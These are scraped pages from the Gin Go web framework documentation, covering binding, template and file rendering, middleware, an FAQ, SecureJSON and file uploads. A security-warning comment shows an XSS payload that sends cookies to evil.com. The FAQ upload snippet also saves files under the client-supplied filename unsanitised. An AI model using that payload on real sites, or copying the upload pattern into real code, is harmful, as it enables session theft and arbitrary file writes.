      c.JSON(http.StatusOK, gin.H{"message": "matched formA", "foo": objA.Foo})
      return
    }
    // At this time, it reuses body stored in the context.
    if errB := c.ShouldBindBodyWith(&objB, binding.JSON); errB == nil {
      c.JSON(http.StatusOK, gin.H{"message": "matched formB", "bar": objB.Bar})
      return
    }


    c.JSON(http.StatusBadRequest, gin.H{"error": "request body did not match any known format"})
  })


  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# Body matches formA
curl -X POST http://localhost:8080/bind \
  -H "Content-Type: application/json" \
  -d '{"foo":"hello"}'
# Output: {"foo":"hello","message":"matched formA"}


# Body matches formB
curl -X POST http://localhost:8080/bind \
  -H "Content-Type: application/json" \
  -d '{"bar":"world"}'
# Output: {"bar":"world","message":"matched formB"}
```

## See also

[Section titled “See also”](#see-also)

* [Binding and validation](/en/docs/binding/binding-and-validation/)
* [Bind query string or post data](/en/docs/binding/bind-query-or-post/)

----
url: https://gin-gonic.com/en/docs/rendering/multiple-template/
----

[Skip to content](#_top)

# Multitemplate

Gin allows by default only one `html.Template`. Check [multitemplate](https://github.com/gin-contrib/multitemplate) for using features like `block template`.

```
package main


import (
  "github.com/gin-contrib/multitemplate"
  "github.com/gin-gonic/gin"
)


func createMyRender() multitemplate.Renderer {
  r := multitemplate.NewRenderer()
  r.AddFromFiles("index", "templates/base.html", "templates/index.html")
  r.AddFromFiles("article", "templates/base.html", "templates/article.html")
  return r
}


func main() {
  router := gin.Default()
  router.HTMLRender = createMyRender()


  router.GET("/", func(c *gin.Context) {
    c.HTML(200, "index", gin.H{"title": "Home"})
  })
  router.GET("/article", func(c *gin.Context) {
    c.HTML(200, "article", gin.H{"title": "Article"})
  })


  router.Run(":8080")
}
```

----
url: https://gin-gonic.com/en/docs/rendering/serving-data-from-file/
----

[Skip to content](#_top)

# Serving data from file

Gin provides several methods for serving files to clients. Each method suits a different use case:

* **`c.File(path)`** – Serves a file from the local filesystem. The content type is detected automatically. Use this when you know the exact file path at compile time or have already validated it.
* **`c.FileFromFS(path, fs)`** – Serves a file from an `http.FileSystem` interface. Useful when serving files from embedded filesystems (`embed.FS`), custom storage backends, or when you want to restrict access to a specific directory tree.
* **`c.FileAttachment(path, filename)`** – Serves a file as a download by setting the `Content-Disposition: attachment` header. The browser will prompt the user to save the file using the filename you provide, regardless of the original file name on disk.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  // Serve a file inline (displayed in browser)
  router.GET("/local/file", func(c *gin.Context) {
    c.File("local/file.go")
  })


  // Serve a file from an http.FileSystem
  var fs http.FileSystem = http.Dir("/var/www/assets")
  router.GET("/fs/file", func(c *gin.Context) {
    c.FileFromFS("fs/file.go", fs)
  })


  // Serve a file as a downloadable attachment with a custom filename
  router.GET("/download", func(c *gin.Context) {
    c.FileAttachment("local/report-2024-q1.xlsx", "quarterly-report.xlsx")
  })


  router.Run(":8080")
}
```

You can test the download endpoint with curl:

Terminal window

```
# The -v flag shows the Content-Disposition header
curl -v http://localhost:8080/download --output report.xlsx


# Serve a file inline
curl http://localhost:8080/local/file
```

For streaming data from an `io.Reader` (such as a remote URL or dynamically generated content), use `c.DataFromReader()` instead. See [Serving data from reader](/en/docs/rendering/serving-data-from-reader/) for details.

----
url: https://gin-gonic.com/en/docs/rendering/
----

[Skip to content](#_top)

# Rendering

Gin supports rendering responses in multiple formats including JSON, XML, YAML, ProtoBuf, HTML, and more. Every rendering method follows the same pattern: call a method on `*gin.Context` with an HTTP status code and the data to serialize. Gin handles content-type headers, serialization, and writing the response automatically.

```
// All rendering methods share this pattern:
c.JSON(http.StatusOK, data)   // application/json
c.XML(http.StatusOK, data)    // application/xml
c.YAML(http.StatusOK, data)   // application/x-yaml
c.TOML(http.StatusOK, data)   // application/toml
c.ProtoBuf(http.StatusOK, data) // application/x-protobuf
```

You can use the `Accept` header or a query parameter to serve the same data in multiple formats from a single handler:

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  router.GET("/user", func(c *gin.Context) {
    user := gin.H{"name": "Lena", "role": "admin"}


    switch c.Query("format") {
    case "xml":
      c.XML(http.StatusOK, user)
    case "yaml":
      c.YAML(http.StatusOK, user)
    default:
      c.JSON(http.StatusOK, user)
    }
  })


  router.Run(":8080")
}
```

## In this section

[Section titled “In this section”](#in-this-section)

* [**XML/JSON/YAML/ProtoBuf rendering**](./rendering/) – Render responses in multiple formats with automatic content-type handling
* [**SecureJSON**](./secure-json/) – Prevent JSON hijacking attacks in legacy browsers
* [**JSONP**](./jsonp/) – Support cross-domain requests from legacy clients without CORS
* [**AsciiJSON**](./ascii-json/) – Escape non-ASCII characters for safe transport
* [**PureJSON**](./pure-json/) – Render JSON without escaping HTML characters
* [**Serving static files**](./serving-static-files/) – Serve directories of static assets
* [**Serving data from file**](./serving-data-from-file/) – Serve individual files, attachments, and downloads
* [**Serving data from reader**](./serving-data-from-reader/) – Stream data from any `io.Reader` to the response
* [**HTML rendering**](./html-rendering/) – Render HTML templates with dynamic data
* [**Multiple templates**](./multiple-template/) – Use multiple template sets in a single application
* [**Bind single binary with template**](./bind-single-binary-with-template/) – Embed templates into your compiled binary

----
url: https://gin-gonic.com/en/docs/faq/
----

[Skip to content](#_top)

# FAQ

## General Questions

[Section titled “General Questions”](#general-questions)

### How do I enable live reload during development?

[Section titled “How do I enable live reload during development?”](#how-do-i-enable-live-reload-during-development)

Use [Air](https://github.com/air-verse/air) for automatic live reloading during development. Air watches your files and rebuilds/restarts your application when changes are detected.

**Installation:**

Terminal window

```
go install github.com/air-verse/air@latest
```

**Setup:**

Create a `.air.toml` configuration file in your project root:

Terminal window

```
air init
```

Then run `air` in your project directory instead of `go run`:

Terminal window

```
air
```

Air will watch your `.go` files and automatically rebuild/restart your Gin application on changes. See the [Air documentation](https://github.com/air-verse/air) for configuration options.

### How do I handle CORS in Gin?

[Section titled “How do I handle CORS in Gin?”](#how-do-i-handle-cors-in-gin)

Use the official [gin-contrib/cors](https://github.com/gin-contrib/cors) middleware:

```
package main


import (
  "time"


  "github.com/gin-contrib/cors"
  "github.com/gin-gonic/gin"
)


func main() {
  r := gin.Default()


  // Default CORS configuration
  r.Use(cors.Default())


  // Or customize CORS settings
  r.Use(cors.New(cors.Config{
    AllowOrigins:     []string{"https://example.com"},
    AllowMethods:     []string{"GET", "POST", "PUT", "DELETE"},
    AllowHeaders:     []string{"Origin", "Content-Type", "Authorization"},
    ExposeHeaders:    []string{"Content-Length"},
    AllowCredentials: true,
    MaxAge:           12 * time.Hour,
  }))


  r.GET("/ping", func(c *gin.Context) {
    c.JSON(200, gin.H{"message": "pong"})
  })


  r.Run()
}
```

For a complete security overview, see [Security best practices](/en/docs/middleware/security-guide/).

### How do I serve static files?

[Section titled “How do I serve static files?”](#how-do-i-serve-static-files)

Use `Static()` or `StaticFS()` to serve static files:

```
func main() {
  r := gin.Default()


  // Serve files from ./assets directory at /assets/*
  r.Static("/assets", "./assets")


  // Serve a single file
  r.StaticFile("/favicon.ico", "./resources/favicon.ico")


  // Serve from embedded filesystem (Go 1.16+)
  r.StaticFS("/public", http.FS(embedFS))


  r.Run()
}
```

See [Serving data from file](/en/docs/rendering/serving-data-from-file/) for more details.

### How do I handle file uploads?

[Section titled “How do I handle file uploads?”](#how-do-i-handle-file-uploads)

Use `FormFile()` for single files or `MultipartForm()` for multiple files:

```
// Single file upload
r.POST("/upload", func(c *gin.Context) {
  file, _ := c.FormFile("file")
  c.SaveUploadedFile(file, "./uploads/"+file.Filename)
  c.String(200, "File %s uploaded successfully", file.Filename)
})


// Multiple files upload
r.POST("/upload-multiple", func(c *gin.Context) {
  form, _ := c.MultipartForm()
  files := form.File["files"]


  for _, file := range files {
    c.SaveUploadedFile(file, "./uploads/"+file.Filename)
  }
  c.String(200, "%d files uploaded", len(files))
})
```

See the [Upload file](/en/docs/routing/upload-file/) documentation for more details.

### How do I implement authentication with JWT?

[Section titled “How do I implement authentication with JWT?”](#how-do-i-implement-authentication-with-jwt)

Use [gin-contrib/jwt](https://github.com/gin-contrib/jwt) or implement custom middleware. Here’s a minimal example:

```
package main


import (
  "net/http"
  "time"


  "github.com/gin-gonic/gin"
  "github.com/golang-jwt/jwt/v5"
)


var jwtSecret = []byte("your-secret-key")


type Claims struct {
  Username string `json:"username"`
  jwt.RegisteredClaims
}


func AuthMiddleware() gin.HandlerFunc {
  return func(c *gin.Context) {
    tokenString := c.GetHeader("Authorization")
    if tokenString == "" {
      c.JSON(http.StatusUnauthorized, gin.H{"error": "Missing authorization token"})
      c.Abort()
      return
    }


    // Remove "Bearer " prefix if present
    if len(tokenString) > 7 && tokenString[:7] == "Bearer " {
      tokenString = tokenString[7:]
    }


    token, err := jwt.ParseWithClaims(tokenString, &Claims{}, func(token *jwt.Token) (interface{}, error) {
      return jwtSecret, nil
    })


    if err != nil || !token.Valid {
      c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid token"})
      c.Abort()
      return
    }


    if claims, ok := token.Claims.(*Claims); ok {
      c.Set("username", claims.Username)
      c.Next()
    }
  }
}
```

For session-based authentication, see [Session management](/en/docs/middleware/session-management/).

### How do I set up request logging?

[Section titled “How do I set up request logging?”](#how-do-i-set-up-request-logging)

Gin includes a default logger middleware via `gin.Default()`. For structured JSON logging in production, see [Structured logging](/en/docs/logging/structured-logging/).

For basic log customization:

```
r := gin.New()
r.Use(gin.LoggerWithConfig(gin.LoggerConfig{
  SkipPaths: []string{"/healthz"},
}))
r.Use(gin.Recovery())
```

See the [Logging](/en/docs/logging/) section for all options including custom formats, file output, and skipping query strings.

### How do I handle graceful shutdown?

[Section titled “How do I handle graceful shutdown?”](#how-do-i-handle-graceful-shutdown)

See [Graceful restart or stop](/en/docs/server-config/graceful-restart-or-stop/) for a complete guide with code examples.

### Why am I getting “404 Not Found” instead of “405 Method Not Allowed”?

[Section titled “Why am I getting “404 Not Found” instead of “405 Method Not Allowed”?”](#why-am-i-getting-404-not-found-instead-of-405-method-not-allowed)

By default, Gin returns 404 for routes that don’t support the requested HTTP method. Set `HandleMethodNotAllowed = true` to return 405 instead:

```
r := gin.Default()
r.HandleMethodNotAllowed = true


r.GET("/ping", func(c *gin.Context) {
  c.JSON(200, gin.H{"message": "pong"})
})


r.Run()
```

Terminal window

```
$ curl -X POST localhost:8080/ping


HTTP/1.1 405 Method Not Allowed
Allow: GET
```

### How do I bind query parameters and POST data together?

[Section titled “How do I bind query parameters and POST data together?”](#how-do-i-bind-query-parameters-and-post-data-together)

Use `ShouldBind()` which automatically selects the binding based on content type:

```
type User struct {
  Name  string `form:"name" json:"name"`
  Email string `form:"email" json:"email"`
  Page  int    `form:"page"`
}


r.POST("/user", func(c *gin.Context) {
  var user User
  if err := c.ShouldBind(&user); err != nil {
    c.JSON(400, gin.H{"error": err.Error()})
    return
  }
  c.JSON(200, user)
})
```

See the [Binding](/en/docs/binding/) section for all binding options.

### How do I validate request data?

[Section titled “How do I validate request data?”](#how-do-i-validate-request-data)

Gin uses [go-playground/validator](https://github.com/go-playground/validator) for validation. Add validation tags to your structs:

```
type User struct {
  Name  string `json:"name" binding:"required,min=3,max=50"`
  Email string `json:"email" binding:"required,email"`
  Age   int    `json:"age" binding:"gte=0,lte=130"`
}


r.POST("/user", func(c *gin.Context) {
  var user User
  if err := c.ShouldBindJSON(&user); err != nil {
    c.JSON(400, gin.H{"error": err.Error()})
    return
  }
  c.JSON(200, gin.H{"message": "User is valid"})
})
```

See [Binding and validation](/en/docs/binding/binding-and-validation/) for custom validators and advanced usage.

### How do I run Gin in production mode?

[Section titled “How do I run Gin in production mode?”](#how-do-i-run-gin-in-production-mode)

Set the `GIN_MODE` environment variable to `release`:

Terminal window

```
export GIN_MODE=release
# or
GIN_MODE=release ./your-app
```

Or set it programmatically:

```
gin.SetMode(gin.ReleaseMode)
```

Release mode disables debug logging and improves performance.

### How do I handle database connections with Gin?

[Section titled “How do I handle database connections with Gin?”](#how-do-i-handle-database-connections-with-gin)

See [Database integration](/en/docs/server-config/database/) for a complete guide covering `database/sql`, GORM, connection pooling, and dependency injection patterns.

### How do I test Gin handlers?

[Section titled “How do I test Gin handlers?”](#how-do-i-test-gin-handlers)

Use `net/http/httptest` to test your routes:

```
func TestPingRoute(t *testing.T) {
  router := gin.Default()
  router.GET("/ping", func(c *gin.Context) {
    c.JSON(200, gin.H{"message": "pong"})
  })


  w := httptest.NewRecorder()
  req, _ := http.NewRequest("GET", "/ping", nil)
  router.ServeHTTP(w, req)


  assert.Equal(t, 200, w.Code)
  assert.Contains(t, w.Body.String(), "pong")
}
```

See the [Testing](/en/docs/testing/) documentation for more examples.

## Performance Questions

[Section titled “Performance Questions”](#performance-questions)

### How do I optimize Gin for high traffic?

[Section titled “How do I optimize Gin for high traffic?”](#how-do-i-optimize-gin-for-high-traffic)

1. **Use Release Mode**: Set `GIN_MODE=release`
2. **Disable unnecessary middleware**: Only use what you need
3. **Use `gin.New()` instead of `gin.Default()`** for manual middleware control
4. **Connection pooling**: Configure database connection pools (see [Database integration](/en/docs/server-config/database/))
5. **Caching**: Implement caching for frequently accessed data
6. **Load balancing**: Use reverse proxy (nginx, HAProxy)
7. **Profiling**: Use Go’s pprof to identify bottlenecks
8. **Monitoring**: Set up [metrics and monitoring](/en/docs/server-config/metrics/) to track performance

### Is Gin production-ready?

[Section titled “Is Gin production-ready?”](#is-gin-production-ready)

Yes. Gin is used in production by many companies and has been battle-tested at scale. See [Users](/en/docs/users/) for examples of projects using Gin in production.

## Troubleshooting

[Section titled “Troubleshooting”](#troubleshooting)

### Why are my route parameters not working?

[Section titled “Why are my route parameters not working?”](#why-are-my-route-parameters-not-working)

Ensure route parameters use `:` syntax and are properly extracted:

```
// Correct
r.GET("/user/:id", func(c *gin.Context) {
  id := c.Param("id")
  c.String(200, "User ID: %s", id)
})


// Not: /user/{id} or /user/<id>
```

See [Parameters in path](/en/docs/routing/param-in-path/) for details.

### Why is my middleware not executing?

[Section titled “Why is my middleware not executing?”](#why-is-my-middleware-not-executing)

Middleware must be registered before routes or route groups:

```
// Correct order
r := gin.New()
r.Use(MyMiddleware()) // Register middleware first
r.GET("/ping", handler) // Then routes


// For route groups
auth := r.Group("/admin")
auth.Use(AuthMiddleware()) // Middleware for this group
{
  auth.GET("/dashboard", handler)
}
```

See [Using middleware](/en/docs/middleware/using-middleware/) for details.

### Why is request binding failing?

[Section titled “Why is request binding failing?”](#why-is-request-binding-failing)

Common reasons:

1. **Missing binding tags**: Add `json:"field"` or `form:"field"` tags
2. **Content-Type mismatch**: Ensure client sends correct Content-Type header
3. **Validation errors**: Check validation tags and requirements
4. **Unexported fields**: Only exported (capitalized) struct fields are bound

```
type User struct {
  Name  string `json:"name" binding:"required"` // ✓ Correct
  Email string `json:"email"`                    // ✓ Correct
  age   int    `json:"age"`                      // ✗ Won't bind (unexported)
}
```

See [Binding and validation](/en/docs/binding/binding-and-validation/) for details.

----
url: https://gin-gonic.com/en/docs/rendering/html-rendering/
----

[Skip to content](#_top)

# HTML rendering

Gin uses the [html/template](https://pkg.go.dev/html/template) package for HTML rendering. For more information about how to use them, including available placeholders, see the documentation for [text/template](https://pkg.go.dev/text/template)

Use LoadHTMLGlob() or LoadHTMLFiles() to select the HTML files to load.

```
func main() {
  router := gin.Default()
  router.LoadHTMLGlob("templates/*")
  //router.LoadHTMLFiles("templates/template1.html", "templates/template2.html")
  router.GET("/index", func(c *gin.Context) {
    c.HTML(http.StatusOK, "index.tmpl", gin.H{
      "title": "Main website",
    })
  })
  router.Run(":8080")
}
```

templates/index.tmpl

```
<html>
  <h1>
    {{ .title }}
  </h1>
</html>
```

Using templates with same name in different directories

```
func main() {
  router := gin.Default()
  router.LoadHTMLGlob("templates/**/*")
  router.GET("/posts/index", func(c *gin.Context) {
    c.HTML(http.StatusOK, "posts/index.tmpl", gin.H{
      "title": "Posts",
    })
  })
  router.GET("/users/index", func(c *gin.Context) {
    c.HTML(http.StatusOK, "users/index.tmpl", gin.H{
      "title": "Users",
    })
  })
  router.Run(":8080")
}
```

**Note:** Please wrap your HTML template in the `{{define <template-path>}} {{end}}` block and define your template file with the relative path `<template-path>`. Otherwise, GIN will not properly parse the template files.

templates/posts/index.tmpl

```
{{ define "posts/index.tmpl" }}
<html><h1>
  {{ .title }}
</h1>
<p>Using posts/index.tmpl</p>
</html>
{{ end }}
```

templates/users/index.tmpl

```
{{ define "users/index.tmpl" }}
<html><h1>
  {{ .title }}
</h1>
<p>Using users/index.tmpl</p>
</html>
{{ end }}
```

### Loading templates from an http.FileSystem (v1.11+)

[Section titled “Loading templates from an http.FileSystem (v1.11+)”](#loading-templates-from-an-httpfilesystem-v111)

If your templates are embedded or provided by an `http.FileSystem`, use `LoadHTMLFS`:

```
import (
  "embed"
  "io/fs"
  "net/http"
  "github.com/gin-gonic/gin"
)


//go:embed templates
var tmplFS embed.FS


func main() {
  r := gin.Default()
  sub, _ := fs.Sub(tmplFS, "templates")
  r.LoadHTMLFS(http.FS(sub), "**/*.tmpl")
  r.GET("/", func(c *gin.Context) {
    c.HTML(http.StatusOK, "index.tmpl", gin.H{"title": "From FS"})
  })
  r.Run(":8080")
}
```

### Security warning: `template.HTML()` bypasses auto-escaping

[Section titled “Security warning: template.HTML() bypasses auto-escaping”](#security-warning-templatehtml-bypasses-auto-escaping)

Go’s `html/template` package automatically escapes values inserted into templates to prevent Cross-Site Scripting (XSS). However, when you cast a string to `template.HTML()`, you explicitly bypass this protection. If the string contains user-supplied input, an attacker can inject arbitrary JavaScript.

**Unsafe – never use `template.HTML()` with user input:**

```
// DANGEROUS: attacker controls userInput, which could be:
// <script>document.location='https://evil.com/?cookie='+document.cookie</script>
c.HTML(http.StatusOK, "page.tmpl", gin.H{
  "content": template.HTML(userInput), // XSS vulnerability!
})
```

**Safe – let the template engine escape user input automatically:**

```
// SAFE: html/template will escape any HTML/JS in userInput
c.HTML(http.StatusOK, "page.tmpl", gin.H{
  "content": userInput, // auto-escaped by html/template
})
```

Only use `template.HTML()` for content you fully control, such as static HTML snippets defined in your own code. Never use it with values that originate from user input, database fields populated by users, or any other untrusted source.

### Custom Template renderer

[Section titled “Custom Template renderer”](#custom-template-renderer)

You can also use your own html template render

```
import "html/template"


func main() {
  router := gin.Default()
  html := template.Must(template.ParseFiles("file1", "file2"))
  router.SetHTMLTemplate(html)
  router.Run(":8080")
}
```

### Custom Delimiters

[Section titled “Custom Delimiters”](#custom-delimiters)

You may use custom delims

```
  router := gin.Default()
  router.Delims("{[{", "}]}")
  router.LoadHTMLGlob("/path/to/templates")
```

### Custom Template Funcs

[Section titled “Custom Template Funcs”](#custom-template-funcs)

See the detail [example code](https://github.com/gin-gonic/examples/tree/master/template).

main.go

```
import (
    "fmt"
    "html/template"
    "net/http"
    "time"


    "github.com/gin-gonic/gin"
)


func formatAsDate(t time.Time) string {
    year, month, day := t.Date()
    return fmt.Sprintf("%d/%02d/%02d", year, month, day)
}


func main() {
    router := gin.Default()
    router.Delims("{[{", "}]}")
    router.SetFuncMap(template.FuncMap{
        "formatAsDate": formatAsDate,
    })
    router.LoadHTMLFiles("./testdata/template/raw.tmpl")


    router.GET("/raw", func(c *gin.Context) {
        c.HTML(http.StatusOK, "raw.tmpl", map[string]interface{}{
            "now": time.Date(2017, 07, 01, 0, 0, 0, 0, time.UTC),
        })
    })


    router.Run(":8080")
}
```

raw\.tmpl

Terminal window

```
Date: {[{.now | formatAsDate}]}
```

Result:

Terminal window

```
Date: 2017/07/01
```

----
url: https://gin-gonic.com/en/docs/middleware/
----

[Skip to content](#_top)

# Middleware

Middleware in Gin provides a way to process HTTP requests before they reach route handlers. A middleware function has the same signature as a route handler – `gin.HandlerFunc` – and typically calls `c.Next()` to pass control to the next handler in the chain.

## How middleware works

[Section titled “How middleware works”](#how-middleware-works)

Gin uses an **onion model** for middleware execution. Each middleware runs in two phases:

1. **Pre-handler** – code before `c.Next()` runs before the route handler.
2. **Post-handler** – code after `c.Next()` runs after the route handler returns.

This means middleware wraps around the handler like layers of an onion. The first middleware attached is the outermost layer.

```
func Logger() gin.HandlerFunc {
  return func(c *gin.Context) {
    start := time.Now()


    // Pre-handler phase
    c.Next()


    // Post-handler phase
    latency := time.Since(start)
    log.Printf("Request took %v", latency)
  }
}
```

## Attaching middleware

[Section titled “Attaching middleware”](#attaching-middleware)

There are three ways to attach middleware in Gin:

```
// 1. Global -- applies to all routes
router := gin.New()
router.Use(Logger(), Recovery())


// 2. Group -- applies to all routes in the group
v1 := router.Group("/v1")
v1.Use(AuthRequired())
{
  v1.GET("/users", listUsers)
}


// 3. Per-route -- applies to a single route
router.GET("/benchmark", BenchmarkMiddleware(), benchHandler)
```

Middleware attached at a broader scope runs first. In the example above, a request to `GET /v1/users` would execute `Logger` then `Recovery` then `AuthRequired` then `listUsers`.

## In this section

[Section titled “In this section”](#in-this-section)

* [**Using middleware**](./using-middleware/) – Attach middleware globally, to groups, or individual routes
* [**Custom middleware**](./custom-middleware/) – Write your own middleware functions
* [**Using BasicAuth middleware**](./using-basicauth/) – HTTP Basic Authentication
* [**Goroutines inside middleware**](./goroutines-inside-middleware/) – Safely run background tasks from middleware
* [**Custom HTTP configuration**](./custom-http-config/) – Error handling and recovery in middleware
* [**Security headers**](./security-headers/) – Set common security headers

----
url: https://gin-gonic.com/en/docs/middleware/custom-middleware/
----

[Skip to content](#_top)

# Custom Middleware

Gin middleware is a function that returns a `gin.HandlerFunc`. Middleware runs before and/or after the main handler, which makes it useful for logging, authentication, error handling, and other cross-cutting concerns.

### Middleware execution flow

[Section titled “Middleware execution flow”](#middleware-execution-flow)

A middleware function has two phases, divided by the call to `c.Next()`:

* **Before `c.Next()`** – Code here runs before the request reaches the main handler. Use this phase for setup tasks such as recording the start time, validating tokens, or setting context values with `c.Set()`.
* **`c.Next()`** – This calls the next handler in the chain (which may be another middleware or the final route handler). Execution pauses here until all downstream handlers have completed.
* **After `c.Next()`** – Code here runs after the main handler has finished. Use this phase for cleanup, logging response status, or measuring latency.

If you want to stop the chain entirely (for example, when authentication fails), call `c.Abort()` instead of `c.Next()`. This prevents any remaining handlers from executing. You can combine it with a response, for example `c.AbortWithStatusJSON(401, gin.H{"error": "unauthorized"})`.

```
package main


import (
  "log"
  "time"


  "github.com/gin-gonic/gin"
)


func Logger() gin.HandlerFunc {
  return func(c *gin.Context) {
    t := time.Now()


    // Set example variable
    c.Set("example", "12345")


    // before request


    c.Next()


    // after request
    latency := time.Since(t)
    log.Print(latency)


    // access the status we are sending
    status := c.Writer.Status()
    log.Println(status)
  }
}


func main() {
  r := gin.New()
  r.Use(Logger())


  r.GET("/test", func(c *gin.Context) {
    example := c.MustGet("example").(string)


    // it would print: "12345"
    log.Println(example)
  })


  // Listen and serve on 0.0.0.0:8080
  r.Run(":8080")
}
```

### Try it

[Section titled “Try it”](#try-it)

Terminal window

```
curl http://localhost:8080/test
```

The server logs will show the request latency and HTTP status code for every request that passes through the `Logger` middleware.

## See also

[Section titled “See also”](#see-also)

* [Error handling middleware](/en/docs/middleware/error-handling-middleware/)
* [Using middleware](/en/docs/middleware/using-middleware/)

----
url: https://gin-gonic.com/en/docs/rendering/secure-json/
----

[Skip to content](#_top)

# SecureJSON

`SecureJSON` protects against a class of vulnerability known as **JSON hijacking**. In older browsers (primarily Internet Explorer 9 and earlier), a malicious page could include a `<script>` tag pointing to a victim’s JSON API endpoint. If that endpoint returned a top-level JSON array (e.g., `["secret","data"]`), the browser would execute it as JavaScript. By overriding the `Array` constructor, the attacker could intercept the parsed values and leak sensitive data to a third-party server.

**How SecureJSON prevents this:**

When the response data is a JSON array, `SecureJSON` prepends an unparseable prefix — by default `while(1);` — to the response body. This causes the browser’s JavaScript engine to enter an infinite loop if the response is loaded via a `<script>` tag, preventing the data from being accessed. Legitimate API consumers (using `fetch`, `XMLHttpRequest`, or any HTTP client) read the raw response body and can simply strip the prefix before parsing.

Google’s APIs use a similar technique with `)]}'\n`, and Facebook uses `for(;;);`. You can customize the prefix with `router.SecureJsonPrefix()`.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  // You can also use your own secure json prefix
  // router.SecureJsonPrefix(")]}',\n")


  router.GET("/someJSON", func(c *gin.Context) {
    names := []string{"lena", "austin", "foo"}


    // Will output  :   while(1);["lena","austin","foo"]
    c.SecureJSON(http.StatusOK, names)
  })


  // Listen and serve on 0.0.0.0:8080
  router.Run(":8080")
}
```

----
url: https://gin-gonic.com/en/docs/introduction/
----

[Skip to content](#_top)

# Introduction

Gin is a web framework written in Go (Golang). It features a martini-like API with much better performance, up to 40 times faster thanks to [httprouter](https://github.com/julienschmidt/httprouter). If you need performance and good productivity, you will love Gin.

In this section we will walk through what Gin is, what problems it solves, and how it can help your project.

Or, if you are ready to use Gin in to your project, visit the [Quickstart](https://gin-gonic.com/en/docs/quickstart/).

## Features

[Section titled “Features”](#features)

### Fast

[Section titled “Fast”](#fast)

Radix tree based routing, small memory foot print. No reflection. Predictable API performance.

### Middleware support

[Section titled “Middleware support”](#middleware-support)

An incoming HTTP request can be handled by a chain of middlewares and the final action. For example: Logger, Authorization, GZIP and finally post a message in the DB.

### Crash-free

[Section titled “Crash-free”](#crash-free)

Gin can catch a panic occurred during a HTTP request and recover it. This way, your server will be always available. As an example - it’s also possible to report this panic to Sentry!

### JSON validation

[Section titled “JSON validation”](#json-validation)

Gin can parse and validate the JSON of a request - for example, checking the existence of required values.

### Routes grouping

[Section titled “Routes grouping”](#routes-grouping)

Organize your routes better. Authorization required vs non required, different API versions… In addition, the groups can be nested unlimitedly without degrading performance.

### Error management

[Section titled “Error management”](#error-management)

Gin provides a convenient way to collect all the errors occurred during a HTTP request. Eventually, a middleware can write them to a log file, to a database and send them through the network.

### Rendering built-in

[Section titled “Rendering built-in”](#rendering-built-in)

Gin provides an easy to use API for JSON, XML and HTML rendering.

### Extendable

[Section titled “Extendable”](#extendable)

Creating a new middleware is so easy, just check out the sample code.

## Gin v1. Stable

[Section titled “Gin v1. Stable”](#gin-v1-stable)

* Zero allocation router.
* Still the fastest HTTP router and framework. From routing to writing.
* Complete suite of unit tests.
* Battle tested.
* API frozen, new releases will not break your code.

----
url: https://gin-gonic.com/en/docs/routing/upload-file/multiple-file/
----

[Skip to content](#_top)

# Multiple files

Use `c.MultipartForm` to receive multiple files uploaded in a single request. The files are grouped by the form field name — use the same field name for all files you want to upload together.

```
package main


import (
  "fmt"
  "log"
  "net/http"
  "path/filepath"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()
  // Set a lower memory limit for multipart forms (default is 32 MiB)
  router.MaxMultipartMemory = 8 << 20 // 8 MiB


  router.POST("/upload", func(c *gin.Context) {
    // Multipart form
    form, err := c.MultipartForm()
    if err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
      return
    }
    files := form.File["files"]


    for _, file := range files {
      log.Println(file.Filename)


      // Upload the file to specific dst.
      dst := filepath.Join("./files/", filepath.Base(file.Filename))
      c.SaveUploadedFile(file, dst)
    }
    c.String(http.StatusOK, fmt.Sprintf("%d files uploaded!", len(files)))
  })


  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
curl -X POST http://localhost:8080/upload \
  -F "files=@/path/to/test1.zip" \
  -F "files=@/path/to/test2.zip" \
  -H "Content-Type: multipart/form-data"
# Output: 2 files uploaded!
```

## See also

[Section titled “See also”](#see-also)

* [Single file](/en/docs/routing/upload-file/single-file/)
* [Limit upload size](/en/docs/routing/upload-file/limit-bytes/)

----
url: https://gin-gonic.com/en/docs/routing/http-method/
----

[Skip to content](#_top)

# Using HTTP method

Gin provides methods that map directly to HTTP verbs, making it straightforward to build RESTful APIs. Each method registers a route that responds only to the corresponding HTTP request type:

| Method      | Typical REST Usage                    |
| ----------- | ------------------------------------- |
| **GET**     | Retrieve a resource                   |
| **POST**    | Create a new resource                 |
| **PUT**     | Replace an existing resource          |
| **PATCH**   | Partially update an existing resource |
| **DELETE**  | Remove a resource                     |
| **HEAD**    | Same as GET but without a body        |
| **OPTIONS** | Describe communication options        |

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func getting(c *gin.Context) {
  c.JSON(http.StatusOK, gin.H{"method": "GET"})
}


func posting(c *gin.Context) {
  c.JSON(http.StatusOK, gin.H{"method": "POST"})
}


func putting(c *gin.Context) {
  c.JSON(http.StatusOK, gin.H{"method": "PUT"})
}


func deleting(c *gin.Context) {
  c.JSON(http.StatusOK, gin.H{"method": "DELETE"})
}


func patching(c *gin.Context) {
  c.JSON(http.StatusOK, gin.H{"method": "PATCH"})
}


func head(c *gin.Context) {
  c.Status(http.StatusOK)
}


func options(c *gin.Context) {
  c.Status(http.StatusOK)
}


func main() {
  // Creates a gin router with default middleware:
  // logger and recovery (crash-free) middleware
  router := gin.Default()


  router.GET("/someGet", getting)
  router.POST("/somePost", posting)
  router.PUT("/somePut", putting)
  router.DELETE("/someDelete", deleting)
  router.PATCH("/somePatch", patching)
  router.HEAD("/someHead", head)
  router.OPTIONS("/someOptions", options)


  // By default it serves on :8080 unless a
  // PORT environment variable was defined.
  router.Run()
  // router.Run(":3000") for a hard coded port
}
```

### Testing with curl

[Section titled “Testing with curl”](#testing-with-curl)

Once the server is running, you can test each endpoint:

Terminal window

```
# GET request
curl -X GET http://localhost:8080/someGet


# POST request
curl -X POST http://localhost:8080/somePost


# PUT request
curl -X PUT http://localhost:8080/somePut


# DELETE request
curl -X DELETE http://localhost:8080/someDelete


# PATCH request
curl -X PATCH http://localhost:8080/somePatch


# HEAD request (returns headers only, no body)
curl -I http://localhost:8080/someHead


# OPTIONS request
